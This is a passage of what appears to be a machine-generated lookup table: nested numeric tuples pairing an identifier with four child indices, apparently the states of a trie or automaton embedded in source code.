{2173,{7813,6540,7813,6540}}, {0,{0,0,14622,0}}, {2174,{7818,0,7818,0}}, {2175,{14624,14624,14624,14624}}, {0,{0,6611,14622,0}}, {0,{14621,14621,14621,14621}}, {0,{8566,8558,8564,0}}, {0,{14614,14527,14628,8545}}, {2176,{14575,14575,14586,14586}}, {0,{14630,14630,14630,14632}}, {0,{14614,14527,14631,8545}}, {0,{14586,14586,14586,14586}}, {0,{14614,14527,14633,8545}}, {2177,{14586,14586,14586,14586}}, {0,{14635,14635,14635,14650}}, {0,{14636,14645,14647,9106}}, {0,{14637,14637,14637,14637}}, {0,{14638,14641,14642,14644}}, {0,{14523,14639,13927,7488}}, {2178,{14640,14640,14640,7472}}, {0,{13746,13746,13746,13746}}, {2179,{8617,9122,7488,7488}}, {0,{14526,14643,7488,7488}}, {2181,{13935,13935,13935,13935}}, {0,{13945,9109,0,0}}, {0,{14646,14646,14646,14646}}, {0,{9108,9110,9108,14644}}, {0,{14648,14648,14648,14648}}, {0,{9114,9110,14649,9111}}, {0,{8578,9109,0,0}}, {0,{14636,14645,14651,9106}}, {2182,{14648,14648,14648,14648}}, {0,{14653,14825,14884,14902}}, {0,{14654,14774,14654,14776}}, {0,{14655,14716,14731,14772}}, {0,{14656,14656,14675,14656}}, {0,{14657,14672,14673,9111}}, {0,{14658,14639,14671,7488}}, {0,{14659,14659,14659,10061}}, {0,{14660,14660,14660,14660}}, {0,{14661,14661,14661,14661}}, {0,{14662,14662,14662,14662}}, {0,{14663,14663,14663,14667}}, {0,{14664,14664,14664,14664}}, {0,{14665,0,4910,0}}, {0,{14666,14666,14666,14666}}, {0,{9175,0,0,13654}}, {0,{14668,14668,14668,14668}}, {0,{14669,0,4910,0}}, {0,{14670,14670,14670,14670}}, {0,{9182,0,0,13654}}, {0,{14640,14640,14640,7472}}, {2183,{7488,9122,7488,7488}}, {0,{14674,14643,7488,7488}}, {2184,{13935,13935,13935,13935}}, {0,{14676,14709,14711,14714}}, {0,{14677,14706,14708,14042}}, {0,{14678,14678,14678,14694}}, {0,{14679,14679,14679,14660}}, {0,{14680,14661,14661,14661}}, {0,{14681,14681,14681,14681}}, {0,{14682,14682,14682,14688}}, {0,{14683,14683,14683,14683}}, {0,{14684,14006,14008,14006}}, {0,{14685,14685,14685,14666}}, {0,{14686,13984,13984,13981}}, {0,{14687,13980,13980,13980}}, {2187,{13973,13973,13973,13973}}, {0,{14689,14689,14689,14689}}, {0,{14690,14006,14008,14006}}, {0,{14691,14691,14691,14670}}, {0,{14692,13984,13984,13981}}, {0,{14693,13980,13980,13980}}, {2189,{13973,13973,13973,13973}}, {0,{14695,14695,14695,10062}}, {0,{14696,10063,10063,10063}}, {0,{14697,14697,14697,14697}}, {0,{14698,14698,14698,14702}}, {0,{14699,14699,14699,14699}}, {0,{14700,14006,14008,14006}}, {0,{14701,14701,14701,9174}}, {0,{14686,13984,13984,13984}}, {0,{14703,14703,14703,14703}}, {0,{14704,14006,14008,14006}}, {0,{14705,14705,14705,9181}}, {0,{14692,13984,13984,13984}}, {2190,{14707,14707,14707,14000}}, {0,{14011,14011,14011,13746}}, {0,{14707,14707,14707,14000}}, {2191,{14042,14710,14042,14042}}, {2192,{14000,14000,14000,14000}}, {0,{14712,14713,14042,14042}}, {2193,{14085,14085,14085,14085}}, {2195,{14085,14085,14085,14085}}, {0,{14109,14715,14109,14109}}, {2196,{14099,14099,14099,14099}}, {0,{9697,9697,14717,9697}}, {0,{14718,14730,14714,14714}}, {0,{14719,14715,14109,14109}}, {0,{14720,14720,14720,14720}}, {0,{14721,14721,14721,9701}}, {0,{14722,9692,9692,9692}}, {0,{14723,14723,14723,14723}}, {0,{14724,14724,14724,14724}}, {0,{14725,14725,14725,14725}}, {0,{14726,14726,14726,14006}}, {0,{14727,14727,14727,9682}}, {0,{14728,14728,14728,14728}}, {0,{13980,14729,13980,13980}}, {2197,{13973,13973,13973,13973}}, {2198,{14109,14715,14109,14109}}, {0,{14732,14747,14752,14747}}, {0,{14733,10548,14746,10555}}, {0,{14734,10547,8564,0}}, {0,{8556,8556,8556,14735}}, {0,{14736,14736,14741,14736}}, {0,{14737,14737,14737,14737}}, {0,{14738,14738,14738,14738}}, {0,{14739,14739,14739,14739}}, {0,{14740,14740,14740,14740}}, {0,{9875,0,9875,0}}, {0,{14742,14737,14742,14737}}, {0,{14738,14738,14738,14743}}, {0,{14744,14739,14744,14739}}, {0,{14745,14740,14740,14740}}, {0,{9939,7111,9939,7111}}, {0,{11551,10547,8564,0}}, {0,{14748,9702,14751,9111}}, {0,{14749,9109,0,0}}, {0,{0,0,0,14750}}, {0,{14736,14736,14736,14736}}, {0,{10984,9109,0,0}}, {0,{14753,14730,14770,14714}}, {0,{14754,14715,14109,14109}}, {0,{14099,14099,14099,14755}}, {0,{14756,14756,14756,14736}}, {0,{14757,14737,14737,14737}}, {0,{14758,14758,14758,14758}}, {0,{14759,14759,14759,14759}}, {0,{14760,14760,14760,14760}}, {0,{14761,14006,14761,14006}}, {0,{14762,14762,14762,9834}}, {0,{14763,14763,14763,13984}}, {0,{14764,13980,13980,13980}}, {0,{13973,13973,13973,14765}}, {0,{13969,13969,13969,14766}}, {0,{13970,13970,13970,14767}}, {0,{14768,14768,14768,9840}}, {0,{14769,14769,14769,9833}}, {2200,{9815,9815,9815,9815}}, {0,{14771,14715,14109,14109}}, {0,{14305,14305,14305,14305}}, {0,{10055,10055,14773,10055}}, {0,{14714,14730,14714,14714}}, {0,{14655,14716,14775,14772}}, {0,{14747,14747,14752,14747}}, {0,{14777,14799,14805,14772}}, {0,{14778,14778,14788,14778}}, {0,{14779,14672,14673,9111}}, {0,{14780,14639,14671,7488}}, {0,{14781,14781,14781,14785}}, {0,{14782,14782,14782,14782}}, {0,{14783,14783,14783,14783}}, {0,{14784,14784,14784,14784}}, {0,{14667,14667,14667,14667}}, {0,{14786,14786,14786,14786}}, {0,{14787,14787,14787,14787}}, {0,{10194,10194,10194,10194}}, {0,{14789,14709,14711,14714}}, {0,{14790,14706,14708,14042}}, {0,{14791,14791,14791,14795}}, {0,{14792,14792,14792,14782}}, {0,{14793,14783,14783,14783}}, {0,{14794,14794,14794,14794}}, {0,{14688,14688,14688,14688}}, {0,{14796,14796,14796,14786}}, {0,{14797,14787,14787,14787}}, {0,{14798,14798,14798,14798}}, {0,{14702,14702,14702,14702}}, {0,{14800,9697,14717,9697}}, {0,{9698,9702,14801,9111}}, {0,{14802,14804,14802,14802}}, {0,{14803,14803,14803,14803}}, {0,{14373,14373,14373,14373}}, {2201,{14803,14803,14803,14803}}, {2202,{14806,14747,14752,14747}}, {0,{14807,14820,14821,14824}}, {0,{14808,14818,14819,0}}, {0,{14809,14809,14809,14810}}, {0,{0,14403,0,0}}, {0,{14736,14811,14736,14736}}, {0,{14812,14737,14737,14737}}, {0,{14738,14738,14738,14813}}, {0,{14739,14739,14739,14814}}, {0,{14740,14740,14740,14815}}, {0,{14816,14408,14816,14408}}, {0,{14817,9834,9834,9834}}, {0,{10465,10465,10465,8242}}, {2203,{14809,14809,14809,14809}}, {0,{14809,14809,14809,14809}}, {2204,{14819,14818,14819,0}}, {0,{14822,14818,14819,0}}, {0,{14823,14823,14823,14823}}, {0,{7417,14436,7417,7417}}, {0,{14819,14818,14819,0}}, {0,{14826,14868,14878,14881}}, {0,{14827,10077,14853,10054}}, {0,{14828,14656,14656,14656}}, {0,{14829,14846,14848,14851}}, {0,{14830,14843,14845,7488}}, {0,{14831,14831,14831,14837}}, {0,{14660,14660,14832,14660}}, {0,{14661,14661,14661,14833}}, {0,{14662,14662,14662,14834}}, {0,{14835,14663,14835,14667}}, {0,{14664,14836,14664,14664}}, {2205,{14665,0,4910,0}}, {0,{10062,10062,14838,10062}}, {0,{10063,10063,10063,14839}}, {0,{10064,10064,10064,14840}}, {0,{14841,9171,14841,9178}}, {0,{9172,14842,9172,9172}}, {2206,{9173,0,4910,0}}, {2207,{14844,14844,14844,14456}}, {0,{13746,13746,14464,13746}}, {0,{14844,14844,14844,14456}}, {2208,{14492,14847,14492,7488}}, {2209,{14456,14456,14456,14456}}, {0,{14849,14850,14492,7488}}, {2210,{14501,14501,14501,14501}}, {2212,{14501,14501,14501,14501}}, {0,{14520,14852,14520,0}}, {2213,{14511,14511,14511,14511}}, {0,{14854,14747,14747,14747}}, {0,{14855,14864,14865,14867}}, {0,{14856,14863,14573,0}}, {0,{14539,14539,14539,14857}}, {0,{14736,14736,14858,14736}}, {0,{14742,14737,14742,14859}}, {0,{14738,14738,14738,14860}}, {0,{14861,14739,14861,14739}}, {0,{14740,14862,14740,14740}}, {2214,{9875,0,9875,0}}, {2215,{14539,14539,14539,14539}}, {2216,{14573,14863,14573,0}}, {0,{14866,14863,14573,0}}, {0,{14567,14567,14567,14567}}, {0,{14573,14863,14573,0}}, {0,{14827,10077,14869,10054}}, {0,{14870,14747,14747,14747}}, {0,{14871,14875,14876,14851}}, {0,{14872,14852,14520,0}}, {0,{14511,14511,14511,14873}}, {0,{14736,14736,14874,14736}}, {0,{14737,14737,14737,14859}}, {2217,{14520,14852,14520,0}}, {0,{14877,14852,14520,0}}, {0,{14610,14610,14610,14610}}, {0,{14879,10077,14880,10054}}, {0,{14656,14656,14656,14656}}, {0,{14732,14747,14747,14747}}, {0,{14882,10077,14883,10054}}, {0,{14778,14778,14778,14778}}, {2218,{14747,14747,14747,14747}}, {0,{14885,14885,14885,14887}}, {0,{14879,10077,14886,10054}}, {0,{14747,14747,14747,14747}}, {0,{14888,10077,14883,10054}}, {0,{14889,14778,14778,14778}}, {0,{14890,14893,14896,14899}}, {0,{14891,14892,14671,7488}}, {2219,{14781,14781,14781,14785}}, {2221,{14640,14640,14640,7472}}, {2222,{14894,14895,7488,7488}}, {2223,{7472,7472,7472,7472}}, {2225,{7472,7472,7472,7472}}, {0,{14897,14898,7488,7488}}, {2227,{13935,13935,13935,13935}}, {2230,{13935,13935,13935,13935}}, {0,{14900,14901,0,0}}, {2231,{0,0,0,0}}, {2233,{0,0,0,0}}, {0,{14885,14885,14885,14881}}, {0,{14904,15064,15125,15125}}, {0,{14905,14997,14905,14999}}, {0,{14906,14973,14976,14973}}, {0,{14907,14907,14909,14907}}, {0,{14908,14672,10075,9111}}, {0,{14671,14639,13927,7488}}, {0,{14910,14959,14961,14964}}, {0,{14911,14936,14937,14958}}, {0,{14912,14912,14912,14930}}, {0,{14913,14011,14011,13746}}, {0,{14914,13740,13740,13740}}, {0,{14915,14915,14915,14915}}, {0,{14916,14916,14916,14916}}, {0,{14917,14917,14917,14917}}, {0,{14918,14927,14929,14927}}, {0,{14919,14017,14017,13732}}, {0,{14920,14920,14920,14926}}, {0,{14921,14921,14921,14921}}, {0,{14922,14922,14922,14922}}, {0,{14923,14923,14923,14923}}, {0,{14924,14924,14924,14924}}, {0,{14925,13971,13971,0}}, {2234,{13972,13972,13972,0}}, {2235,{14921,14921,14921,14921}}, {0,{14928,14007,14007,0}}, {0,{14920,14920,14920,14920}}, {2236,{14928,14007,14007,0}}, {0,{14931,14001,14001,7473}}, {0,{14932,7474,7474,7474}}, {0,{14933,14933,14933,14933}}, {0,{14934,14934,14934,14934}}, {0,{14935,14935,14935,14935}}, {0,{14927,14927,14929,14927}}, {2237,{14912,14912,14912,14930}}, {0,{14938,14938,14938,14952}}, {0,{14939,14023,14023,13777}}, {0,{14940,13772,13772,13772}}, {0,{14941,14941,14941,14941}}, {0,{14942,14942,14942,14942}}, {0,{14943,14943,14943,14943}}, {0,{14944,14949,14951,14927}}, {0,{14945,14029,14029,13763}}, {0,{14946,14946,14946,14948}}, {0,{14947,14921,14921,14921}}, {2238,{14922,14922,14922,14922}}, {2239,{14947,14921,14921,14921}}, {0,{14950,14034,14034,5324}}, {0,{14946,14946,14946,14946}}, {2240,{14950,14034,14034,5324}}, {0,{14953,14037,14037,7485}}, {0,{14954,7486,7486,7486}}, {0,{14955,14955,14955,14955}}, {0,{14956,14956,14956,14956}}, {0,{14957,14957,14957,14957}}, {0,{14949,14949,14951,14927}}, {0,{14930,14930,14930,14930}}, {2241,{14958,14960,14958,14958}}, {2242,{14930,14930,14930,14930}}, {0,{14962,14963,14958,14958}}, {2243,{14930,14930,14930,14930}}, {2245,{14930,14930,14930,14930}}, {0,{14965,14972,14965,14965}}, {0,{14966,14966,14966,14966}}, {0,{14967,14100,14100,0}}, {0,{14968,0,0,0}}, {0,{14969,14969,14969,14969}}, {0,{14970,14970,14970,14970}}, {0,{14971,14971,14971,14971}}, {0,{14927,14927,14927,14927}}, {2246,{14966,14966,14966,14966}}, {0,{10055,10055,14974,10055}}, {0,{14964,14975,14964,14964}}, {2247,{14965,14972,14965,14965}}, {0,{14977,14978,14979,14978}}, {0,{11549,10548,14746,10555}}, {0,{10982,9702,14751,9111}}, {0,{14980,14975,14988,14964}}, {0,{14965,14972,14981,14965}}, {0,{14982,14982,14982,14982}}, {0,{14983,14283,14283,7408}}, {0,{14984,7172,7172,7172}}, {0,{14985,14985,14985,14985}}, {0,{14986,14986,14986,14986}}, {0,{14987,14987,14987,14987}}, {0,{14949,14949,14949,14927}}, {0,{14989,14972,14965,14965}}, {0,{14990,14990,14990,14990}}, {0,{14991,14306,14306,7417}}, {0,{14992,7317,7317,7317}}, {0,{14993,14993,14993,14993}}, {0,{14994,14994,14994,14994}}, {0,{14995,14995,14995,14995}}, {0,{14996,14927,14927,14927}}, {2248,{14928,14007,14007,0}}, {0,{14906,14973,14998,14973}}, {0,{14978,14978,14979,14978}}, {0,{15000,15039,15048,15063}}, {0,{15001,15037,14909,14907}}, {0,{15002,15031,15032,11385}}, {0,{15003,15013,15014,11328}}, {0,{15004,15004,15004,11306}}, {0,{15005,13746,13746,13746}}, {0,{15006,13740,13740,13740}}, {0,{13741,13741,13741,15007}}, {0,{13742,13742,13742,15008}}, {0,{13743,13743,13743,15009}}, {0,{15010,11294,11312,11294}}, {0,{15011,13732,13732,13732}}, {0,{11296,11296,11296,15012}}, {2249,{11297,11297,11297,11297}}, {2250,{15004,15004,15004,11306}}, {0,{15015,15015,15015,15025}}, {0,{15016,13777,13777,13777}}, {0,{15017,13772,13772,13772}}, {0,{13773,13773,13773,15018}}, {0,{13774,13774,13774,15019}}, {0,{13775,13775,13775,15020}}, {0,{15021,11320,15024,11294}}, {0,{15022,13763,13763,13763}}, {0,{11322,11322,11322,15023}}, {2251,{11323,11297,11297,11297}}, {2252,{11321,5324,5324,5324}}, {0,{15026,7485,7485,7485}}, {0,{15027,7486,7486,7486}}, {0,{7487,7487,7487,15028}}, {0,{5338,5338,5338,15029}}, {0,{5335,5335,5335,15030}}, {0,{11320,11320,15024,11294}}, {2253,{11328,11305,11328,11328}}, {0,{15033,15034,15035,11328}}, {2254,{11306,11306,11306,11306}}, {2256,{11306,11306,11306,11306}}, {0,{15036,15036,15036,15036}}, {0,{11307,7473,14346,7473}}, {0,{15002,15031,15038,11385}}, {0,{15033,15034,11328,11328}}, {0,{15040,11433,14974,10055}}, {0,{11385,11434,15041,11385}}, {0,{15042,15045,15046,15042}}, {0,{15043,15043,15043,15043}}, {0,{15044,14373,14373,14373}}, {0,{11389,0,0,14368}}, {2257,{15043,15043,15043,15043}}, {0,{15047,15047,15047,15047}}, {0,{15044,14373,14381,14373}}, {2258,{15049,15061,14979,14978}}, {0,{15050,15056,15057,15060}}, {0,{15051,15053,15054,11386}}, {0,{15052,15052,15052,15052}}, {0,{11388,14403,0,0}}, {2259,{15052,15052,15052,15052}}, {0,{15055,15055,15055,15055}}, {0,{11485,14416,7408,7408}}, {2260,{15051,15053,15051,11386}}, {0,{15058,15053,15051,11386}}, {0,{15059,15059,15059,15059}}, {0,{11493,14436,7417,7417}}, {0,{15051,15053,15051,11386}}, {0,{11482,11434,15062,11385}}, {0,{11491,11393,11386,11386}}, {0,{11433,11433,14974,10055}}, {0,{15065,15100,15106,15113}}, {0,{15066,10054,15097,10054}}, {0,{15067,14907,14907,14907}}, {0,{15068,15069,15094,14851}}, {0,{14845,14843,14470,7488}}, {2261,{15070,14847,14492,7488}}, {0,{15071,15071,15071,15071}}, {0,{15072,15072,15090,7473}}, {0,{15073,15073,15073,15073}}, {0,{15074,15074,15074,15074}}, {0,{15075,4913,15075,4913}}, {0,{15076,4914,15076,4914}}, {0,{15077,0,4910,0}}, {0,{15078,15078,15078,15078}}, {0,{15079,15079,15079,15079}}, {0,{15080,15080,0,0}}, {0,{15081,15081,15081,15081}}, {0,{15082,15082,15082,15082}}, {0,{15083,15083,15083,15083}}, {0,{15084,15084,15084,15084}}, {0,{15085,15085,15085,15085}}, {0,{15086,15086,15086,15086}}, {0,{15087,15087,15087,15087}}, {0,{15088,15088,15088,15088}}, {0,{15089,0,15089,0}}, {2262,{0,0,0,0}}, {0,{15073,15073,15073,15091}}, {0,{15074,15074,15074,15092}}, {0,{15093,4913,15093,4913}}, {0,{15076,14461,15076,4914}}, {0,{15095,15096,14492,7488}}, {2263,{14456,14456,14456,14456}}, {2265,{14456,14456,14456,14456}}, {0,{15098,14978,14978,14978}}, {0,{15099,14864,14865,14867}}, {0,{14573,14863,14543,0}}, {0,{15101,10054,15103,10054}}, {0,{15102,14907,14907,14907}}, {0,{15068,14846,15094,14851}}, {0,{15104,14978,14978,14978}}, {0,{15105,14875,14876,14851}}, {0,{14520,14852,14594,0}}, {0,{15107,10054,15112,10054}}, {0,{15108,14907,14907,14907}}, {0,{14908,15109,10075,9111}}, {2266,{15110,9122,7488,7488}}, {0,{15111,15111,15111,15111}}, {0,{15072,15072,15072,7473}}, {0,{14977,14978,14978,14978}}, {0,{15114,10054,15124,10054}}, {0,{15115,14907,14907,14907}}, {0,{15116,15118,15120,15122}}, {0,{15117,14639,13927,7488}}, {2267,{14640,14640,14640,7472}}, {2268,{15119,9122,7488,7488}}, {2269,{7472,7472,7472,7472}}, {0,{15121,9126,7488,7488}}, {2271,{7472,7472,7472,7472}}, {0,{15123,9109,0,0}}, {2272,{0,0,0,0}}, {2273,{14978,14978,14978,14978}}, {0,{15126,15126,15126,15129}}, {0,{15127,10054,15128,10054}}, {0,{14907,14907,14907,14907}}, {0,{14978,14978,14978,14978}}, {0,{15127,10054,15124,10054}}, {0,{15131,15141,15141,15141}}, {0,{15132,15132,15132,15136}}, {0,{15133,11696,11696,11696}}, {0,{15134,15134,15134,15134}}, {0,{11700,15135,11700,0}}, {2274,{7488,7488,7488,7488}}, {0,{15133,15137,15140,11696}}, {0,{15138,11687,11687,11687}}, {0,{0,11688,15139,0}}, {0,{14802,14802,14802,14802}}, {2275,{11687,11687,11687,11687}}, {0,{15132,15132,15132,15142}}, {0,{15133,11696,15140,11696}}, {0,{15144,15310,15358,15436}}, {0,{15145,15241,15304,15308}}, {0,{15146,15175,15146,15178}}, {0,{15147,15147,15163,15173}}, {0,{15148,11802,15157,11808}}, {0,{15149,15149,15149,15155}}, {0,{15150,15152,15153,13913}}, {0,{15151,13904,13904,13904}}, {0,{14142,0,0,0}}, {0,{14141,13912,13912,13912}}, {2277,{15154,15154,15154,15154}}, {0,{13905,11806,0,0}}, {0,{13913,15156,15153,13913}}, {0,{13912,13912,13912,13912}}, {0,{15158,15158,15158,15158}}, {0,{14109,15159,15160,14109}}, {0,{14107,14107,14107,14107}}, {2279,{15161,15161,15161,15161}}, {0,{14100,15162,14100,0}}, {2280,{14101,0,0,0}}, {0,{15164,11802,15157,11808}}, {2281,{15165,15165,15165,15171}}, {0,{15166,15168,15169,13913}}, {0,{15167,14239,14239,14239}}, {0,{14142,0,8557,0}}, {0,{14241,14242,14242,14242}}, {2283,{15170,15170,15170,15170}}, {0,{13905,11806,8557,0}}, {0,{14251,15172,15169,13913}}, {0,{14242,14242,14242,14242}}, {0,{15174,11808,15157,11808}}, {0,{15155,15155,15155,15155}}, {0,{15147,15147,15176,15173}}, {0,{15177,11802,15157,11808}}, {2284,{15149,15149,15149,15155}}, {0,{15179,15179,15176,15173}}, {0,{15180,11802,15157,11808}}, {0,{15181,15181,15181,15155}}, {0,{15182,15233,15237,15240}}, {0,{15183,15226,15226,15226}}, {0,{15184,15219,15219,15219}}, {0,{15185,6586,0,0}}, {0,{14144,14144,14144,15186}}, {0,{14145,14145,14145,15187}}, {0,{14146,14146,14146,15188}}, {0,{15189,15189,13733,13719}}, {0,{15190,4982,13720,0}}, {0,{15191,15191,15191,15218}}, {0,{15192,15192,15217,15217}}, {0,{15193,15193,15216,15216}}, {0,{15194,15215,15215,15215}}, {0,{15195,15214,15214,15214}}, {0,{15196,15207,15207,15207}}, {0,{15197,15197,3762,0}}, {0,{3674,3674,3674,15198}}, {0,{3675,3675,3675,15199}}, {0,{3676,3676,3676,15200}}, {0,{3677,3677,3677,15201}}, {0,{3678,3678,3678,15202}}, {0,{15203,15203,15203,15205}}, {0,{3680,15204,3680,0}}, {2285,{3681,3681,3681,3681}}, {0,{0,15206,0,0}}, {2286,{0,0,0,0}}, {0,{15208,15208,0,0}}, {0,{0,0,0,15209}}, {0,{0,0,0,15210}}, {0,{0,0,0,15211}}, {0,{0,0,0,15212}}, {0,{0,0,0,15213}}, {0,{15205,15205,15205,15205}}, {0,{15207,15207,15207,15207}}, {0,{15214,15214,15214,15214}}, {0,{15215,15215,15215,15215}}, {0,{15216,15216,15216,15216}}, {0,{15217,15217,15217,15217}}, {0,{15220,0,0,0}}, {0,{0,0,0,15221}}, {0,{0,0,0,15222}}, {0,{0,0,0,15223}}, {0,{15224,15224,0,0}}, {0,{15225,0,0,0}}, {0,{15218,15218,15218,15218}}, {0,{15227,15219,15219,15219}}, {0,{15228,0,0,0}}, {0,{13907,13907,13907,15229}}, {0,{13908,13908,13908,15230}}, {0,{13909,13909,13909,15231}}, {0,{15232,15232,13719,13719}}, {0,{15225,0,13720,0}}, {0,{15234,15236,15236,15236}}, {0,{15184,15235,15219,15219}}, {2288,{15220,0,0,0}}, {0,{15227,15235,15219,15219}}, {2290,{15238,15238,15238,15238}}, {0,{15227,15239,15219,15219}}, {2291,{15220,0,0,0}}, {0,{15226,15226,15226,15226}}, {2293,{15242,15291,15294,15301}}, {0,{15243,15271,15272,11913}}, {0,{15244,15266,15266,11808}}, {0,{15245,15245,15245,15245}}, {0,{14520,15246,15247,0}}, {0,{14519,14519,14519,14519}}, {2295,{15248,15248,15249,15248}}, {0,{0,11806,14512,0}}, {0,{0,11806,15250,0}}, {0,{15251,15251,15251,15262}}, {0,{15252,15252,15252,15252}}, {0,{15253,15253,15253,15253}}, {0,{15254,15254,15254,15254}}, {0,{15255,15255,15255,15255}}, {0,{15256,15256,15256,15256}}, {0,{15257,15257,15257,15257}}, {0,{15258,15258,15258,15258}}, {0,{15259,15259,15259,0}}, {0,{15260,15260,15260,15260}}, {0,{0,15261,0,0}}, {2296,{0,0,0,0}}, {0,{15252,15252,15252,15263}}, {0,{15264,15253,15264,15253}}, {0,{15254,15265,15254,15254}}, {2297,{15255,15255,15255,15255}}, {0,{15267,15267,15267,15267}}, {0,{0,11789,15268,0}}, {2299,{11805,11805,15269,11805}}, {0,{0,11806,15270,0}}, {0,{15251,15251,15251,15251}}, {0,{15266,15266,15266,11808}}, {0,{15273,15266,15266,11808}}, {2300,{15274,15274,15274,15274}}, {0,{14573,15275,15276,0}}, {0,{14542,14542,14542,14542}}, {2302,{15277,15277,15278,15277}}, {0,{0,11806,14540,0}}, {0,{0,11806,15279,0}}, {0,{15280,15251,15280,15262}}, {0,{15252,15252,15252,15281}}, {0,{15282,15253,15282,15253}}, {0,{15283,15254,15254,15254}}, {0,{15284,15284,15284,15284}}, {0,{15285,15256,15256,15256}}, {0,{15286,15286,15286,15286}}, {0,{15287,15287,15287,15287}}, {0,{15288,15288,15288,7043}}, {0,{15289,15289,15289,15289}}, {0,{7035,15290,7035,7035}}, {2303,{7036,0,7036,0}}, {0,{15243,15271,15292,11913}}, {0,{15293,15266,15266,11808}}, {2304,{15245,15245,15245,15245}}, {0,{15271,15271,15295,11913}}, {0,{15296,15266,15266,11808}}, {2305,{15297,15297,15297,15297}}, {0,{8564,12133,15298,0}}, {2307,{12135,12135,15299,12135}}, {0,{0,11806,15300,0}}, {0,{15280,15251,15280,15251}}, {0,{15271,15271,15302,11913}}, {0,{15303,15266,15266,11808}}, {2308,{15267,15267,15267,15267}}, {0,{15305,15305,15305,15305}}, {0,{11913,11913,15306,11913}}, {0,{15307,11808,11808,11808}}, {2309,{11809,11809,11809,11809}}, {0,{15309,15309,15309,15309}}, {0,{12271,12271,12271,12271}}, {0,{15311,15327,15342,0}}, {0,{15312,15318,15312,15321}}, {0,{15313,15313,15316,15313}}, {0,{0,0,15314,0}}, {0,{15315,15315,15315,15315}}, {0,{14109,14109,14109,14109}}, {0,{15317,0,15314,0}}, {2310,{12457,12457,12457,12457}}, {0,{15313,15313,15319,15313}}, {0,{15320,0,15314,0}}, {2311,{0,0,0,0}}, {0,{15322,15322,15319,15313}}, {0,{15323,0,15314,0}}, {0,{15324,15324,15324,0}}, {0,{15325,15325,15325,15325}}, {0,{15326,15326,15326,15326}}, {0,{15219,15219,15219,15219}}, {0,{15328,15335,15338,15340}}, {0,{15329,0,15332,0}}, {0,{15330,0,0,0}}, {0,{15331,15331,15331,15331}}, {0,{14520,14520,14520,0}}, {0,{15333,0,0,0}}, {2312,{15334,15334,15334,15334}}, {0,{14573,14573,14573,0}}, {0,{15329,0,15336,0}}, {0,{15337,0,0,0}}, {2313,{15331,15331,15331,15331}}, {0,{0,0,15339,0}}, {0,{15317,0,0,0}}, {0,{0,0,15341,0}}, {0,{15320,0,0,0}}, {0,{15343,15340,15340,15340}}, {0,{15344,0,15341,0}}, {0,{0,0,15345,0}}, {0,{15346,0,0,0}}, {0,{15347,0,0,0}}, {0,{15348,15348,15348,15348}}, {0,{15349,0,15349,0}}, {0,{15350,15350,15350,15350}}, {0,{15351,15351,15351,15351}}, {0,{15352,0,0,0}}, {0,{0,15353,0,0}}, {0,{15354,0,0,0}}, {0,{15355,15355,15355,15355}}, {0,{15356,15356,15356,15356}}, {0,{15357,0,15357,0}}, {2314,{0,0,0,0}}, {0,{15359,15408,15435,0}}, {0,{15360,15365,15360,15367}}, {0,{15361,15361,15364,15361}}, {0,{0,0,15362,0}}, {0,{15363,15363,15363,15363}}, {0,{14965,14965,14965,14965}}, {0,{15317,0,15362,0}}, {0,{15361,15361,15366,15361}}, {0,{15320,0,15362,0}}, {0,{15368,15386,15405,15407}}, {0,{15369,12583,15362,0}}, {0,{15370,15370,15370,12553}}, {0,{15371,15371,15371,15371}}, {0,{15372,15372,15372,15372}}, {0,{15373,15219,15219,15219}}, {0,{15374,0,0,0}}, {0,{0,0,0,15375}}, {0,{0,0,0,15376}}, {0,{0,0,0,15377}}, {0,{15378,15378,11294,11294}}, {0,{15379,0,0,0}}, {0,{15380,15380,15380,15380}}, {0,{15381,15381,15381,15381}}, {0,{15382,15382,15382,15382}}, {0,{15383,15383,15383,15383}}, {0,{15384,15384,15384,15384}}, {0,{15207,15385,15207,15207}}, {2315,{15208,15208,0,0}}, {0,{15369,12583,15387,0}}, {0,{15388,15388,15388,15388}}, {0,{15389,15389,15389,14965}}, {0,{15390,15390,15390,15390}}, {0,{15391,14100,14100,0}}, {0,{15392,0,0,0}}, {0,{14969,14969,14969,15393}}, {0,{14970,14970,14970,15394}}, {0,{14971,14971,14971,15395}}, {0,{15396,15396,15396,15396}}, {0,{15397,14007,14007,0}}, {0,{15398,15398,15398,15398}}, {0,{15399,15399,15399,15399}}, {0,{15400,15400,15400,15400}}, {0,{15401,15401,15401,15401}}, {0,{15402,15402,15402,15402}}, {0,{15403,13971,13971,0}}, {2316,{13972,13972,13972,15404}}, {2317,{0,0,0,0}}, {0,{15406,12583,15362,0}}, {2318,{12553,12553,12553,12553}}, {0,{12583,12583,15362,0}}, {0,{15409,15335,15428,15340}}, {0,{15329,0,15410,0}}, {0,{15411,0,0,0}}, {2319,{15412,15412,15412,15412}}, {0,{15413,15413,15413,0}}, {0,{15414,15414,15414,15414}}, {0,{15415,15415,15420,0}}, {0,{15416,15416,15416,15416}}, {0,{15417,15417,15417,15417}}, {0,{15418,0,15418,0}}, {0,{15419,0,15419,0}}, {2320,{0,0,0,0}}, {0,{15421,15416,15421,15425}}, {0,{15417,15417,15417,15422}}, {0,{15423,0,15423,0}}, {0,{15424,0,15419,0}}, {2321,{7111,7111,7111,7111}}, {0,{15417,15417,15417,15426}}, {0,{15427,0,15427,0}}, {0,{15419,14516,15419,0}}, {0,{0,0,15429,0}}, {0,{15430,0,0,0}}, {2322,{15431,15431,15431,15431}}, {0,{15432,15432,15432,0}}, {0,{15433,15433,15433,15433}}, {0,{15415,15415,15434,0}}, {0,{15421,15416,15421,15416}}, {0,{15340,15340,15340,15340}}, {0,{15437,15435,15435,0}}, {0,{15340,15340,15340,15438}}, {0,{15439,15439,15341,0}}, {0,{15323,0,0,0}}, {0,{15441,15559,15585,15623}}, {0,{15442,15489,15558,0}}, {0,{15443,15456,15443,15457}}, {0,{15444,15444,15450,15454}}, {0,{15445,12983,15448,12914}}, {0,{15446,15446,15446,15447}}, {0,{15150,15152,13913,13913}}, {0,{13913,15156,13913,13913}}, {0,{15449,15449,15449,15449}}, {0,{14109,15159,14109,14109}}, {0,{15451,12983,15448,12914}}, {0,{15452,15452,15452,15453}}, {0,{15166,15168,14251,13913}}, {0,{14251,15172,14251,13913}}, {0,{15455,12914,15448,12914}}, {0,{15447,15447,15447,15447}}, {0,{15444,15444,15444,15454}}, {0,{15458,15444,15472,15454}}, {0,{15459,12983,15448,12914}}, {0,{15460,15460,15460,15470}}, {0,{15461,15466,15469,13913}}, {0,{15462,15465,15465,15465}}, {0,{14142,0,15463,0}}, {0,{0,0,0,15464}}, {2323,{0,0,0,0}}, 